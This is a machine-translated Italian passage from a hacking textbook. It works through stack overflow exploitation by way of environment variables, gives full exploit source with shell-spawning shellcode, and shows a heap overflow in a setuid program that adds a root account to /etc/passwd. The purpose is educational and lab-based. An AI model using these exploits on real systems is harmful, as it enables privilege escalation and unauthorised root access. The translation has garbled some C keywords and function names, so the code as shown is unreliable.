SHELLCODE è a 0xbffff90b
lettore @ hacking: ~ / booksrc $ ./notesearch $ (perl -e 'print "\ x0b \ xf9 \ xff \ xbf" x40')
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
------- [dati di fine nota] -------
sh-3.2 #

Questo è abbastanza preciso con una grande slitta NOP, ma quando è la stessa cosa
viene tentato senza una slitta, il programma si blocca. Ciò significa che l'ambiente
la previsione è ancora disattivata.

lettore @ hacking: ~ / booksrc $ export SLEDLESS = $ (cat shellcode.bin)


reader @ hacking: ~ / booksrc $ ./a.out SLEDLESS
SLEDLESS è a 0xbfffff46

146 0x300
Pagina 161

lettore @ hacking: ~ / booksrc $ ./notesearch $ (perl -e 'print "\ x46 \ xff \ xff \ xbf" x40')
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
------- [dati di fine nota] -------
Errore di segmentazione
lettore @ hacking: ~ / booksrc $

Per poter prevedere un indirizzo di memoria esatto, le differenze


negli indirizzi deve essere esplorato. La lunghezza del nome del programma
l'esecuzione sembra avere un effetto sull'indirizzo dell'ambiente
variabili. Questo effetto può essere ulteriormente esplorato cambiando il nome del file
programma e sperimentazione. Questo tipo di sperimentazione e modello
il riconoscimento è un'abilità importante per un hacker.

lettore @ hacking: ~ / booksrc $ cp a.out a


reader @ hacking: ~ / booksrc $ ./a SLEDLESS
SLEDLESS è a 0xbfffff4e
lettore @ hacking: ~ / booksrc $ cp a.out bb
reader @ hacking: ~ / booksrc $ ./bb SLEDLESS
SLEDLESS è a 0xbfffff4c
lettore @ hacking: ~ / booksrc $ cp a.out ccc
lettore @ hacking: ~ / booksrc $ ./ccc SLEDLESS
SLEDLESS è a 0xbfffff4a
reader @ hacking: ~ / booksrc $ ./a.out SLEDLESS
SLEDLESS è a 0xbfffff46
lettore @ hacking: ~ / booksrc $ gdb -q
(gdb) p 0xbfffff4e - 0xbfffff46
$1=8
(gdb) esci
lettore @ hacking: ~ / booksrc $

Come mostra l'esperimento precedente, la lunghezza del nome dell'esecuzione


Il programma ha un effetto sulla posizione delle variabili di ambiente esportate.
La tendenza generale sembra essere una diminuzione di due byte nell'indirizzo del file
variabile di ambiente per ogni aumento di un byte nella lunghezza del
nome del grammo. Ciò vale con il nome del programma a.out , poiché le differenze
La lunghezza tra i nomi a.out e a è di quattro byte e la differenza
tra l'indirizzo 0xbfffff4e e 0xbfffff46 ci sono otto byte. Questo deve significare
anche il nome del programma in esecuzione si trova nello stack da qualche parte,
che sta causando lo spostamento.
Armato di questa conoscenza, l'indirizzo esatto dell'ambiente varia
può essere previsto quando viene eseguito il programma vulnerabile. Questo significa
la stampella di una slitta NOP può essere eliminata. Il programma getenvaddr.c
regola l'indirizzo in base alla differenza nella lunghezza del nome del programma da fornire
una previsione molto accurata.

getenvaddr.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

Sfruttamento 147

Pagina 162

int main (int argc, char * argv []) {


char * ptr;

if (argc <3) {
printf ("Utilizzo:% s <var ambiente> <nome programma di destinazione> \ n", argv [0]);
uscita (0);
}
ptr = getenv (argv [1]); / * Ottieni la posizione della variabile env. * /
ptr + = (strlen (argv [0]) - strlen (argv [2])) * 2; / * Regola il nome del programma. * /
printf ("% s sarà a% p \ n", argv [1], ptr);
}

Una volta compilato, questo programma può prevedere con precisione dove un ambiente
La variabile ment sarà in memoria durante l'esecuzione di un programma di destinazione. Questo
può essere utilizzato per sfruttare buffer overflow basati su stack senza la necessità di un file
Slitta NOP.

reader @ hacking: ~ / booksrc $ gcc -o getenvaddr getenvaddr.c


reader @ hacking: ~ / booksrc $ ./getenvaddr SLEDLESS ./notesearch
SLEDLESS sarà a 0xbfffff3c
lettore @ hacking: ~ / booksrc $ ./notesearch $ (perl -e 'print "\ x3c \ xff \ xff \ xbf" x40')
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999

Come puoi vedere, il codice di exploit non è sempre necessario per sfruttare i programmi. Il
l'uso di variabili d'ambiente semplifica notevolmente le cose durante lo sfruttamento
dalla riga di comando, ma queste variabili possono essere usate anche per fare exploit
codice più affidabile.
La funzione system () viene utilizzata nel programma notesearch_exploit.c per
eseguire un comando. Questa funzione avvia un nuovo processo ed esegue il
mand usando / bin / sh -c . Il -c dice al sh programma per eseguire comandi
dall'argomento della riga di comando passato ad esso. La ricerca del codice di Google può
essere utilizzato per trovare il codice sorgente di questa funzione, che ci dirà di più.
Vai a http://www.google.com/codesearch?q=package:libc+system per vedere
questo codice nella sua interezza.
Codice da libc-2.2.2

int sistema (const char * cmd)


{
int ret, pid, waitstat;
void (* sigint) (), (* sigquit) ();

if ((pid = fork ()) == 0) {


execl ("/ bin / sh", "sh", "-c", cmd, NULL);
uscita (127);
}
if (pid <0) return (127 << 8);
sigint = segnale (SIGINT, SIG_IGN);
sigquit = segnale (SIGQUIT, SIG_IGN);
while ((waitstat = wait (& ret))! = pid && waitstat! = -1);
if (waitstat == -1) ret = -1;

148 0x300

Pagina 163

segnale (SIGINT, sigint);


segnale (SIGQUIT, sigquit);
ritorno (ret);
}

La parte importante di questa funzione è mostrata in grassetto. La funzione fork ()


avvia un nuovo processo e la funzione execl () viene utilizzata per eseguire il comando
tramite / bin / sh con gli argomenti della riga di comando appropriati.
L'uso di system () a volte può causare problemi. Se un programma setuid
usa system () , i privilegi non verranno trasferiti, perché / bin / sh è stato
l'eliminazione dei privilegi dalla versione due. Questo non è il caso del nostro exploit, ma
l'exploit non ha nemmeno bisogno di avviare un nuovo processo. Noi possiamo
ignora fork () e concentrati sulla funzione execl () per eseguire il comando.
La funzione execl () appartiene a una famiglia di funzioni che eseguono
sostituisce il processo corrente con quello nuovo. Gli argomenti per
execl ()iniziano con il percorso del programma di destinazione e sono seguiti da ciascuno di
gli argomenti della riga di comando. Il secondo argomento della funzione è in realtà il file
zeroth argomento della riga di comando, che è il nome del programma. L'ultimo
argomento è un NULL per terminare l'elenco degli argomenti, simile a come un null
byte termina una stringa.
La funzione execl () ha una funzione sorella chiamata execle () , che ne ha una
argomento aggiuntivo per specificare l'ambiente in cui l'esecuzione
il processo dovrebbe essere eseguito. Questo ambiente si presenta sotto forma di una matrice di
puntatori a stringhe con terminazione null per ogni variabile di ambiente e il
lo stesso array dell'ambiente viene terminato con un puntatore NULL.
Con execl () , viene utilizzato l'ambiente esistente, ma se usi execle () ,
l'intero ambiente può essere specificato. Se l'array dell'ambiente è solo il file
shellcode come prima stringa (con un puntatore NULL per terminare l'elenco), il
l'unica variabile d'ambiente sarà lo shellcode. Questo rende facile il suo indirizzo
calcolare. In Linux, l'indirizzo sarà 0xbffffffa , meno la lunghezza del file
shellcode nell'ambiente, meno la lunghezza del nome del file eseguito
programma. Poiché questo indirizzo sarà esatto, non è necessaria una slitta NOP. Tutti
quello necessario nell'exploit buffer è l'indirizzo, ripetuto abbastanza volte per
overflow l'indirizzo di ritorno nello stack, come mostrato in exploit_nosearch_env.c.

exploit_notesearch_env.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

char shellcode [] =
"\ x31 \ xc0 \ x31 \ xdb \ x31 \ xc9 \ x99 \ xb0 \ xa4 \ xcd \ x80 \ x6a \ x0b \ x58 \ x51 \ x68"
"\ x2f \ x2f \ x73 \ x68 \ x68 \ x2f \ x62 \ x69 \ x6e \ x89 \ xe3 \ x51 \ x89 \ xe2 \ x53 \ x89"
"\ xe1 \ xcd \ x80";

int main (int argc, char * argv []) {


char * env [2] = {shellcode, 0};
unsigned int i, ret;

Sfruttamento 149

Pagina 164

char * buffer = (char *) malloc (160);

ret = 0xbffffffa - (sizeof (shellcode) -1) - strlen ("./ notesearch");


per (i = 0; i <160; i + = 4)
* ((unsigned int *) (buffer + i)) = ret;

execle ("./ notesearch", "notesearch", buffer, 0, env);


libero (buffer);
}

Questo exploit è più affidabile, poiché non necessita di una slitta NOP o altro
congetture per quanto riguarda gli offset. Inoltre, non avvia alcun processo aggiuntivo.

reader @ hacking: ~ / booksrc $ gcc exploit_notesearch_env.c


lettore @ hacking: ~ / booksrc $ ./a.out
------- [dati di fine nota] -------
sh-3.2 #
0x340 Overflow in altri segmenti
Gli overflow del buffer possono verificarsi in altri segmenti di memoria, come heap e bss.
Come in auth_overflow.c, se una variabile importante si trova dopo un buffer
vulnerabile a un overflow, il flusso di controllo del programma può essere alterato. Questo
è vero indipendentemente dal segmento di memoria in cui risiedono queste variabili; però,
il controllo tende ad essere piuttosto limitato. Riuscire a trovare questi punti di controllo
e imparare a sfruttarli al meglio richiede solo un po 'di esperienza e
pensiero creativo. Sebbene questi tipi di overflow non siano standardizzati come
overflow basati su stack, possono essere altrettanto efficaci.

0x341 Overflow basato su heap di base


Anche il programma notetaker del Capitolo 2 è suscettibile di un
vulnerabilità del flusso. Due buffer vengono allocati nell'heap e il primo
l'argomento della riga di comando viene copiato nel primo buffer. Una lattina di trabocco
si verificano qui.

Estratto da notetaker.c

buffer = (char *) ec_malloc (100);


datafile = (char *) ec_malloc (20);
strcpy (datafile, "/ var / notes");

if (argc <2) // Se non ci sono argomenti della riga di comando,


utilizzo (argv [0], datafile); // visualizza il messaggio di utilizzo ed esce.

strcpy (buffer, argv [1]); // Copia nel buffer.

printf ("[DEBUG] buffer @% p: \ '% s \' \ n", buffer, buffer);


printf ("[DEBUG] datafile @% p: \ '% s \' \ n", datafile, datafile);

150 0x300

Pagina 165

In condizioni normali, l'allocazione del buffer si trova a 0x804a008 ,


che è prima dell'allocazione del file di dati a 0x804a070 , come output di debug
Spettacoli. La distanza tra questi due indirizzi è di 104 byte.

reader @ hacking: ~ / booksrc $ ./notetaker test


[DEBUG] buffer @ 0x804a008: "test"
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
lettore @ hacking: ~ / booksrc $ gdb -q
(gdb) p 0x804a070 - 0x804a008
$ 1 = 104
(gdb) esci
lettore @ hacking: ~ / booksrc $

Poiché il primo buffer è terminato con null, la quantità massima di dati


che può essere messo in questo buffer senza overflow nel prossimo dovrebbe essere
104 byte.

reader @ hacking: ~ / booksrc $ ./notetaker $ (perl -e 'print "A" x104')


[DEBUG] buffer @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA '
[DEBUG] file di dati @ 0x804a070: ''
[!!] Errore irreversibile in main () durante l'apertura del file: nessun file o directory di questo tipo
lettore @ hacking: ~ / booksrc $

Come previsto, quando vengono provati 104 byte, il byte di terminazione null
scorre all'inizio del buffer del file di dati . Ciò causa il file di dati
essere nient'altro che un singolo byte nullo, che ovviamente non può essere aperto come file.
Ma cosa succede se il buffer del file di dati viene sovrascritto con qualcosa di più di un semplice file
byte nullo?

reader @ hacking: ~ / booksrc $ ./notetaker $ (perl -e 'print "A" x104. "testfile"')


[DEBUG] buffer @ 0x804a008: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAtestfile '
[DEBUG] datafile @ 0x804a070: "testfile"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
*** rilevata glibc *** ./notetaker: free (): dimensione successiva non valida (normale): 0x0804a008 ***
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]
/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]
./notetaker[0x8048916]
/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]
./notetaker[0x8048511]
======= Mappa di memoria: ========
08048000-08049000 r-xp 00000000 00: 0f 44384 / cow / home / reader / booksrc / notetaker
08049000-0804a000 rw-p 00000000 00: 0f 44384 / cow / home / reader / booksrc / notetaker
0804a000-0806b000 rw-p 0804a000 00:00 0 [mucchio]
b7d00000-b7d21000 rw-p b7d00000 00:00 0
b7d21000-b7e00000 --- p b7d21000 00:00 0
b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /rofs/lib/libgcc_s.so.1
b7e8e000-b7e8f000 rw-p 0000a000 07:00 15444 /rofs/lib/libgcc_s.so.1

Sfruttamento 151

Pagina 166

b7e99000-b7e9a000 rw-p b7e99000 00:00 0


b7e9a000-b7fd5000 r-xp 00000000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so
b7fd5000-b7fd6000 r - p 0013b000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so
b7fd6000-b7fd8000 rw-p 0013c000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so
b7fd8000-b7fdb000 rw-p b7fd8000 00:00 0
b7fe4000-b7fe7000 rw-p b7fe4000 00:00 0
b7fe7000-b8000000 r-xp 00000000 07:00 15421 /rofs/lib/ld-2.5.so
b8000000-b8002000 rw-p 00019000 07:00 15421 /rofs/lib/ld-2.5.so
bffeb000-c0000000 rw-p bffeb000 00:00 0 [pila]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
Abortito
lettore @ hacking: ~ / booksrc $

Questa volta, l'overflow è progettato per sovrascrivere il buffer del file di dati con
la stringa testfile . Ciò fa sì che il programma scriva nel file di prova invece che
/ var / notes, come era stato originariamente programmato per fare. Tuttavia, quando il file heap
la memoria viene liberata dal comando free () , gli errori nelle intestazioni dell'heap lo sono
rilevato e il programma viene terminato. Simile all'indirizzo del mittente
sovrascrivi con overflow dello stack, ci sono punti di controllo all'interno dell'heap
l'architettura stessa. La versione più recente di glibc utilizza la memoria heap
funzioni di gestione che si sono evolute appositamente per contrastare l'heap
scollegare gli attacchi. Dalla versione 2.2.5, queste funzioni sono state riscritte
per stampare le informazioni di debug e terminare il programma quando
rilevare problemi con le informazioni sull'intestazione dell'heap. Questo fa mucchio
scollegare in Linux è molto difficile. Tuttavia, questo particolare exploit no
usa le informazioni sull'intestazione dell'heap per fare la sua magia, quindi per il momento viene chiamato free () ,
il programma è già stato indotto a scrivere su un nuovo file con root
privilegi.

reader @ hacking: ~ / booksrc $ grep -B10 free notetaker.c

if (write (fd, buffer, strlen (buffer)) == -1) // Scrivi la nota.


fatal ("in main () durante la scrittura del buffer nel file");
scrivi (fd, "\ n", 1); // Termina la linea.

// Chiusura del file


if (chiudi (fd) == -1)
fatal ("in main () durante la chiusura del file");

printf ("La nota è stata salvata. \ n");


libero (buffer);
libero (file di dati);
lettore @ hacking: ~ / booksrc $ ls -l ./testfile
-rw ------- 1 lettore root 118 2007-09-09 16:19 ./testfile
reader @ hacking: ~ / booksrc $ cat ./testfile
cat: ./testfile: autorizzazione negata
reader @ hacking: ~ / booksrc $ sudo cat ./testfile
?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAtestfile
lettore @ hacking: ~ / booksrc $

152 0x300

Pagina 167

Una stringa viene letta finché non viene rilevato un byte nullo, quindi l'intera stringa è
scritto nel file come input utente . Poiché questo è un programma root suid, il file
che viene creato è di proprietà di root. Ciò significa anche che poiché il nome del file può
essere controllato, i dati possono essere aggiunti a qualsiasi file. Questi dati ne hanno alcuni
restrizioni, però; deve terminare con il nome del file controllato e una riga con
verrà scritto anche l'ID utente.
Ci sono probabilmente diversi modi intelligenti per sfruttare questo tipo di capacità.
Il più evidente sarebbe aggiungere qualcosa a / etc / passwd
file. Questo file contiene tutti i nomi utente, gli ID e le shell di accesso per tutti i file
utenti del sistema. Naturalmente, questo è un file di sistema critico, quindi è una buona idea
per fare una copia di backup prima di manipolarla troppo.

lettore @ hacking: ~ / booksrc $ cp / etc / passwd /tmp/passwd.bkup


lettore @ hacking: ~ / booksrc $ head / etc / passwd
root: x: 0: 0: root: / root: / bin / bash
daemon: x: 1: 1: daemon: / usr / sbin: / bin / sh
bin: x: 2: 2: bin: / bin: / bin / sh
sys: x: 3: 3: sys: / dev: / bin / sh
sync: x: 4: 65534: sync: / bin: / bin / sync
giochi: x: 5: 60: giochi: / usr / giochi: / bin / sh
man: x: 6: 12: man: / var / cache / man: / bin / sh
lp: x: 7: 7: lp: / var / spool / lpd: / bin / sh
mail: x: 8: 8: mail: / var / mail: / bin / sh
news: x: 9: 9: news: / var / spool / news: / bin / sh
lettore @ hacking: ~ / booksrc $

I campi nel file / etc / passwd sono delimitati da due punti, il primo campo
essendo per nome di accesso, quindi password, ID utente, ID gruppo, nome utente, casa
directory e infine la shell di login. I campi della password sono tutti riempiti con
il carattere x , poiché le password crittografate sono archiviate altrove in un file
file shadow. (Tuttavia, questo campo può contenere la password crittografata.)
Inoltre, verrà fornita qualsiasi voce nel file delle password con ID utente 0
privilegi di root. Ciò significa che l'obiettivo è aggiungere una voce aggiuntiva con
entrambi i privilegi di root e una password nota per il file delle password.
La password può essere crittografata utilizzando un algoritmo di hashing unidirezionale.
Poiché l'algoritmo è unidirezionale, la password originale non può essere ricreata
dal valore hash. Per prevenire attacchi di ricerca, l'algoritmo utilizza un salt
value , che se variato crea un valore hash diverso per lo stesso input
parola d'ordine. Questa è un'operazione comune e Perl ha una funzione crypt () che
lo esegue. Il primo argomento è la password e il secondo è il sale
valore. La stessa password con un sale diverso produce un sale diverso.

reader @ hacking: ~ / booksrc $ perl -e 'print crypt ("password", "AA"). "\ n" "
AA6tQYSfGxd / A
reader @ hacking: ~ / booksrc $ perl -e 'print crypt ("password", "XX"). "\ n" "
XXq2wKiyI43A2
lettore @ hacking: ~ / booksrc $

Si noti che il valore del sale è sempre all'inizio dell'hash. Quando un


l'utente accede e inserisce una password, il sistema cerca la password crittografata

Sfruttamento 153
Pagina 168

per quell'utente. Utilizzando il valore salt dalla password crittografata memorizzata, il file
il sistema utilizza lo stesso algoritmo di hashing unidirezionale per crittografare qualsiasi testo
l'utente ha digitato come password. Infine, il sistema confronta i due hash;
se sono uguali, l'utente deve aver inserito la password corretta. Questo
consente di utilizzare la password per l'autenticazione senza richiedere che il file
la password deve essere memorizzata ovunque nel sistema.
L'uso di uno di questi hash nel campo della password creerà la password
per l'account essere una password , indipendentemente dal valore di sale utilizzato. La linea per
aggiungere a / etc / passwd dovrebbe essere simile a questo:

myroot: XXq2wKiyI43A2: 0: 0: me: / root: / bin / bash

Tuttavia, la natura di questo particolare exploit di overflow dell'heap non lo consentirà


quella riga esatta da scrivere in / etc / passwd, perché la stringa deve terminare con
/ etc / passwd. Tuttavia, se il nome del file viene semplicemente aggiunto alla fine di
la voce, la voce del file passwd non sarebbe corretta. Questo può essere compensato
per con l'uso intelligente di un collegamento simbolico a un file, quindi la voce può terminare entrambe con
/ etc / passwd ed essere ancora una riga valida nel file della password. Ecco come funziona:

lettore @ hacking: ~ / booksrc $ mkdir / tmp / ecc


lettore @ hacking: ~ / booksrc $ ln -s / bin / bash / tmp / etc / passwd
lettore @ hacking: ~ / booksrc $ ls -l / tmp / etc / passwd
lrwxrwxrwx 1 lettore lettore 9 2007-09-09 16:25 / tmp / etc / passwd -> / bin / bash
lettore @ hacking: ~ / booksrc $

Ora / tmp / etc / passwd punta alla shell di login / bin / bash. Questo significa
che una shell di login valida per il file delle password sia anche / tmp / etc / passwd, making
di seguito una riga di file di password valida:

myroot: XXq2wKiyI43A2: 0: 0: me: / root: / tmp / etc / passwd

I valori di questa riga devono solo essere leggermente modificati in modo che la porzione
prima di / etc / passwd è lungo esattamente 104 byte:

reader @ hacking: ~ / booksrc $ perl -e 'print "myroot: XXq2wKiyI43A2: 0: 0: me: / root: / tmp"' | wc -c
38
reader @ hacking: ~ / booksrc $ perl -e 'print "myroot: XXq2wKiyI43A2: 0: 0:". "A" x50. ": / root: / tmp" "
| wc -c
86
lettore @ hacking: ~ / booksrc $ gdb -q
(gdb) p 104-86 + 50
$ 1 = 68
(gdb) esci
reader @ hacking: ~ / booksrc $ perl -e 'print "myroot: XXq2wKiyI43A2: 0: 0:". "A" x68. ": / root: / tmp" "
| wc -c
104
lettore @ hacking: ~ / booksrc $

Se / etc / passwd viene aggiunto alla fine di quella stringa finale (mostrata in grassetto), il file
la stringa sopra verrà aggiunta alla fine del file / etc / passwd. E da allora
questa riga definisce un account con privilegi di root con una password che abbiamo impostato, non lo farà

154 0x300

Pagina 169

essere difficile accedere a questo account e ottenere l'accesso come root, come segue
spettacoli di output.

reader @ hacking: ~ / booksrc $ ./notetaker $ (perl -e 'print "myroot: XXq2wKiyI43A2: 0: 0:". "A" x68.
": / root: / tmp / etc / passwd" ')
[DEBUG] buffer @ 0x804a008: 'myroot: XXq2wKiyI43A2: 0: 0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: / root: / tmp / etc / passwd '
[DEBUG] file di dati @ 0x804a070: "/ etc / passwd"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
*** rilevata glibc *** ./notetaker: free (): dimensione successiva non valida (normale): 0x0804a008 ***
======= Backtrace: =========
/lib/tls/i686/cmov/libc.so.6[0xb7f017cd]
/lib/tls/i686/cmov/libc.so.6(cfree+0x90)[0xb7f04e30]
./notetaker[0x8048916]
/lib/tls/i686/cmov/libc.so.6(__libc_start_main+0xdc)[0xb7eafebc]
./notetaker[0x8048511]
======= Mappa di memoria: ========
08048000-08049000 r-xp 00000000 00: 0f 44384 / cow / home / reader / booksrc / notetaker
08049000-0804a000 rw-p 00000000 00: 0f 44384 / cow / home / reader / booksrc / notetaker
0804a000-0806b000 rw-p 0804a000 00:00 0 [mucchio]
b7d00000-b7d21000 rw-p b7d00000 00:00 0
b7d21000-b7e00000 --- p b7d21000 00:00 0
b7e83000-b7e8e000 r-xp 00000000 07:00 15444 /rofs/lib/libgcc_s.so.1
b7e8e000-b7e8f000 rw-p 0000a000 07:00 15444 /rofs/lib/libgcc_s.so.1
b7e99000-b7e9a000 rw-p b7e99000 00:00 0
b7e9a000-b7fd5000 r-xp 00000000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so
b7fd5000-b7fd6000 r - p 0013b000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so
b7fd6000-b7fd8000 rw-p 0013c000 07:00 15795 /rofs/lib/tls/i686/cmov/libc-2.5.so
b7fd8000-b7fdb000 rw-p b7fd8000 00:00 0
b7fe4000-b7fe7000 rw-p b7fe4000 00:00 0
b7fe7000-b8000000 r-xp 00000000 07:00 15421 /rofs/lib/ld-2.5.so
b8000000-b8002000 rw-p 00019000 07:00 15421 /rofs/lib/ld-2.5.so
bffeb000-c0000000 rw-p bffeb000 00:00 0 [pila]
ffffe000-fffff000 r-xp 00000000 00:00 0 [vdso]
Abortito
lettore @ hacking: ~ / booksrc $ tail / etc / passwd
avahi: x: 105: 111: demone mDNS Avahi ,,,: / var / run / avahi-daemon: / bin / false
cupsys: x: 106: 113 :: / home / cupsys: / bin / false
haldaemon: x: 107: 114: livello di astrazione hardware ,,,: / home / haldaemon: / bin / false
hplip: x: 108: 7: utente del sistema HPLIP ,,,: / var / run / hplip: / bin / false
gdm: x: 109: 118: Gnome Display Manager: / var / lib / gdm: / bin / false
matrice: x: 500: 500: Account utente: / home / matrix: / bin / bash
jose: x: 501: 501: Jose Ronnick: / home / jose: / bin / bash
lettore: x: 999: 999: Hacker ,,,: / home / lettore: / bin / bash
?
myroot: XXq2wKiyI43A2: 0: 0: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA: /
root: / tmp / etc / passwd
lettore @ hacking: ~ / booksrc $ su myroot
Parola d'ordine:
root @ hacking: / home / reader / booksrc # whoami
radice
root @ hacking: / home / reader / booksrc #

Sfruttamento 155

Pagina 170

0x342 Overflow di puntatori di funzione

Se hai giocato abbastanza con il programma game_of_chance.c, te ne renderai conto


che, come in un casinò, la maggior parte dei giochi è statisticamente ponderata
favore della casa. Ciò rende difficile vincere crediti, nonostante la fortuna
potresti essere. Forse c'è un modo per pareggiare un po 'le probabilità. Questo programma utilizza
un puntatore a funzione per ricordare l'ultima partita giocata. Questo puntatore viene memorizzato
nella struttura utente , che è dichiarata come variabile globale. Ciò significa che tutti i file
la memoria per la struttura utente è allocata nel segmento bss.

Da game_of_chance.c

// Struttura utente personalizzata per memorizzare le informazioni sugli utenti


struct user {
int uid;
int crediti;
int highscore;
nome del carattere [100];
int (* current_game) ();
};

...

// Variabili globali
struct user player; // Struttura del giocatore

Il buffer dei nomi nella struttura dell'utente è un luogo probabile per un overflow.
Questo buffer è impostato dalla funzione input_name () , mostrata di seguito:

// Questa funzione viene utilizzata per inserire il nome del giocatore, da allora
// scanf ("% s", & qualunque cosa) interromperà l'input al primo spazio.
void input_name () {
char * name_ptr, input_char = '\ n';
while (input_char == '\ n') // Elimina gli avanzi
scanf ("% c", & input_char); // caratteri di nuova riga.

name_ptr = (char *) & (player.name); // name_ptr = indirizzo del nome del giocatore
while (input_char! = '\ n') {// Ciclo fino a nuova riga.
* name_ptr = input_char; // Inserisce il carattere di input nel campo del nome.
scanf ("% c", & input_char); // Ottieni il carattere successivo.
name_ptr ++; // Incrementa il puntatore del nome.
}
* name_ptr = 0; // Termina la stringa.
}

Questa funzione interrompe solo l'immissione di un carattere di nuova riga. Non c'è niente
per limitarlo alla lunghezza del buffer del nome di destinazione, ovvero un overflow
è possibile. Per sfruttare l'overflow, dobbiamo creare il file
il programma chiama il puntatore alla funzione dopo che è stato sovrascritto. Questo accade in
, che viene chiamata quando viene selezionato un gioco dal file
funzione play_the_game ()
menù. Il seguente frammento di codice fa parte del codice di selezione del menu, utilizzato
per scegliere e giocare a un gioco.

156 0x300

Pagina 171

se ((scelta <1) || (scelta> 7))


printf ("\ n [!!] Il numero% d è una selezione non valida. \ n \ n", scelta);
else if (choice <4) {// Altrimenti, la scelta era un gioco di qualche tipo.
if (choice! = last_game) {// Se la funzione ptr non è impostata,
se (scelta == 1) // quindi puntalo sul gioco selezionato
player.current_game = pick_a_number;
altrimenti se (scelta == 2)
player.current_game = dealer_no_match;
altro
player.current_game = find_the_ace;
last_game = scelta; // e imposta last_game.
}
giocare il gioco(); // Giocare il gioco.
}

Se last_game non è la stessa della scelta corrente, il puntatore a funzione di


current_gameviene modificato nel gioco appropriato. Ciò significa che per
fai in modo che il programma chiami il puntatore a funzione senza sovrascriverlo, un gioco
deve essere giocato per primo per impostare la variabile last_game .

lettore @ hacking: ~ / booksrc $ ./game_of_chance


- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti
7 - Esci
[Nome: Jon Erickson]
[Hai 70 crediti] -> 1

[DEBUG] puntatore current_game @ 0x08048fde

####### Scegli un numero ######


Questo gioco costa 10 crediti per giocare. Scegli semplicemente un numero
tra 1 e 20, e se scegli il numero vincente, tu
vincerà il jackpot di 100 crediti!

Sono stati detratti 10 crediti dal tuo account.


Scegli un numero compreso tra 1 e 20: 5
Il numero vincente è 17
Scusa, non hai vinto.

Ora hai 60 crediti


Ti piacerebbe giocare di nuovo? (y / n) n
- = [Menu del gioco d'azzardo] = -
1 - Gioca al gioco Scegli un numero
2 - Gioca al gioco No Match Dealer
3 - Gioca al gioco Trova l'asso
4 - Visualizza il punteggio più alto corrente
5 - Cambia il tuo nome utente
6 - Reimposta il tuo account a 100 crediti

Sfruttamento 157

Pagina 172

7 - Esci
[Nome: Jon Erickson]
[Hai 60 crediti] ->
[1] + Fermato ./game_of_chance
lettore @ hacking: ~ / booksrc $

È possibile sospendere temporaneamente il processo corrente premendo CTRL -Z. A


a questo punto, la variabile last_game è stata impostata su 1, quindi la prossima volta che 1 è
selezionato, il puntatore alla funzione verrà semplicemente chiamato senza essere modificato.
Tornando alla shell, troviamo un buffer di overflow appropriato, che può
essere copiato e incollato successivamente come nome. Ricompilare il sorgente con
eseguire il debug dei simboli e utilizzare GDB per eseguire il programma con un punto di interruzione
on main () ci permette di esplorare la memoria. Come mostra l'output di seguito, il file
Il buffer del nome è a 100 byte dal puntatore current_game all'interno dell'utente
struttura.

reader @ hacking: ~ / booksrc $ gcc -g game_of_chance.c


lettore @ hacking: ~ / booksrc $ gdb -q ./a.out
Utilizzo della libreria host libthread_db "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) break main
Breakpoint 1 a 0x8048813: file game_of_chance.c, riga 41.
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out

Breakpoint 1, main () in game_of_chance.c: 41


41 srand (time (0)); // Imposta il randomizzatore con l'ora corrente.
(gdb) p player
$ 1 = {uid = 0, crediti = 0, punteggio migliore = 0, nome = '\ 0' <si ripete 99 volte>,
current_game = 0}
(gdb) x / x & player.name
0x804b66c <player + 12>: 0x00000000
(gdb) x / x e player.current_game
0x804b6d0 <giocatore + 112>: 0x00000000
(gdb) p 0x804b6d0 - 0x804b66c
$ 2 = 100
(gdb) esci
Il programma è in esecuzione. Esci comunque? (y o n) y
lettore @ hacking: ~ / booksrc $

Usando queste informazioni, possiamo generare un buffer per sovraccaricare il nome


variabile con. Questo può essere copiato e incollato nel gioco interattivo di
Programma Chance quando viene ripreso. Per tornare al processo sospeso,
basta digitare fg , che è l'abbreviazione di primo piano .

reader @ hacking: ~ / booksrc $ perl -e 'print "A" x100. "BBBB". "\ n" "
